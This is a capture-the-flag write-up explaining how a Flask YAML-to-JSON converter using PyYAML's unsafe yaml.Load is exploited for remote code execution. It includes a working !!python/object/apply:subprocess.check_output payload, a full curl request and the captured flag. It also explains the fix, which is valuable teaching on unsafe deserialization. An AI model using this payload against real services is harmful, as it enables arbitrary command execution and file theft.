~/labs/ctf/fluid-attacks-latam-2026-2/yaml-aint-safe
YAML Ain't SafeA developer built an online YAML-to-JSON converter and proudly open-sourced it. The flag is /flag.txt.
Metadata
| Field | Value |
|---|---|
| Category | web |
| Difficulty | Easy |
| Points | 100 |
| Solves | 194 |
| First Blood | olati |
Challenge Description
A developer built an online YAML-to-JSON converter and proudly open-sourced it.
The flag is /flag.txt.
Artifacts
The provided archive contained a single Flask application:
public.zip
app.py
solve_yaml.sh
The archive password from the challenge notes was:
infected
Target used during the solve:
https://5d023d5116435344.chal.ctf.ae
Recon
I started by checking what was inside the provided archive instead of assuming the bug from the challenge title:
7z l -pinfected public.zip
Relevant output:
Listing archive: public.zip
Name
------------------------
app.py
The source was small enough to map manually. app.py exposed three routes:
GET /
GET /health
POST /convert
The only route that accepted user input was /convert:
@app.route("/convert", methods=["POST"])
def convert():
data = request.get_json()
if not data or "yaml_input" not in data:
return jsonify({"error": "Missing yaml_input field"}), 400
yaml_input = data["yaml_input"]
Before trying anything dangerous, I confirmed the intended behavior with normal YAML. This also gave the exact JSON request shape expected by the service:
curl -k -i -X POST \
https://5d023d5116435344.chal.ctf.ae/convert \
-H 'Content-Type: application/json' \
--data '{"yaml_input":"name: demo\nitems:\n - one\n - two"}'
Representative response:
{
"result": "{\n \"name\": \"demo\",\n \"items\": [\n \"one\",\n \"two\"\n ]\n}"
}
So the useful attack surface was the YAML parser reached through
POST /convert, not routing, authentication, or file upload behavior.
Vulnerability
The vulnerable line is in app.py, line 31:
parsed = yaml.load(yaml_input, Loader=yaml.Loader)
The reason this stood out is that the service parses attacker-controlled YAML
with PyYAML’s full yaml.Loader. I then checked the PyYAML documentation to
confirm the suspicion: yaml.load is not safe for untrusted input, can construct
Python objects, and safe_load is the intended restricted alternative.
The rest of the route explains why this becomes data exfiltration, not only code execution:
json_output = json.dumps(parsed, indent=2, default=str)
return jsonify({"result": json_output})
Because json.dumps(..., default=str) converts otherwise non-JSON values to
strings, a payload that returns bytes can survive into the HTTP response. That is
why I used subprocess.check_output instead of os.system: os.system would
only return an exit code, while check_output returns command output.
The local proof used a harmless command:
python3 -c 'import yaml; print(yaml.load("!!python/object/apply:subprocess.check_output [[\"printf\", \"YAML_RCE\"]]", Loader=yaml.Loader))'
Output:
b'YAML_RCE'
That proved the parser could invoke a Python callable during YAML loading and return its output as the parsed value.
Exploitation
The exploit chain was:
- Identify
/convertas the only user-controlled route. - Confirm normal YAML conversion and the required JSON body:
yaml_input. - Notice
yaml.load(yaml_input, Loader=yaml.Loader)in the source. - Verify locally that a
!!python/object/applytag can callsubprocess.check_output. - Replace the harmless command with
cat /flag.txt, which the challenge description said was the flag path. - Send the payload to the remote
/convertendpoint and read the command output from theresultfield.
The final YAML payload was:
!!python/object/apply:subprocess.check_output [["cat", "/flag.txt"]]
The final HTTP request was:
curl -k -i -X POST \
https://5d023d5116435344.chal.ctf.ae/convert \
-H 'Content-Type: application/json' \
--data '{"yaml_input":"!!python/object/apply:subprocess.check_output [[\"cat\", \"/flag.txt\"]]"}'
The server returned:
{"result":"\"b'flag{d5ed98110d04e821}\\\\n'\""}
Technical Details
PyYAML has different loaders. A safe YAML-to-JSON converter should only parse
simple data types such as mappings, lists, strings, numbers, and booleans. In
PyYAML that means using yaml.safe_load or SafeLoader for untrusted input.
This application used yaml.Loader, which supports Python-specific YAML tags.
The !!python/object/apply tag constructs a value by calling a Python callable.
In this case, the callable was:
subprocess.check_output
and the argument list was:
[["cat", "/flag.txt"]]
At parse time, PyYAML evaluated the tag, called subprocess.check_output, and
the parsed value became the bytes returned by cat /flag.txt. The Flask route
then serialized that bytes object with default=str, producing the visible
string representation:
b'flag{d5ed98110d04e821}\n'
So the vulnerable data flow was:
JSON yaml_input
-> yaml.load(..., Loader=yaml.Loader)
-> !!python/object/apply calls subprocess.check_output
-> bytes output becomes parsed value
-> json.dumps(..., default=str)
-> HTTP JSON response leaks /flag.txt
Exploit Artifact
The final artifact is solve_yaml.sh. It posts the
!!python/object/apply payload to /convert.
Usage:
chmod +x solve_yaml.sh
./solve_yaml.sh https://5d023d5116435344.chal.ctf.ae
Validation
Health check:
HTTP/1.1 200 OK
OK
Benign conversion proof:
{
"result": "{\n \"name\": \"demo\",\n \"items\": [\n \"one\",\n \"two\"\n ]\n}"
}
Exploit response:
{"result":"\"b'flag{d5ed98110d04e821}\\\\n'\""}
References
- https://pyyaml.org/wiki/PyYAMLDocumentation
- https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
Flag
flag{d5ed98110d04e821}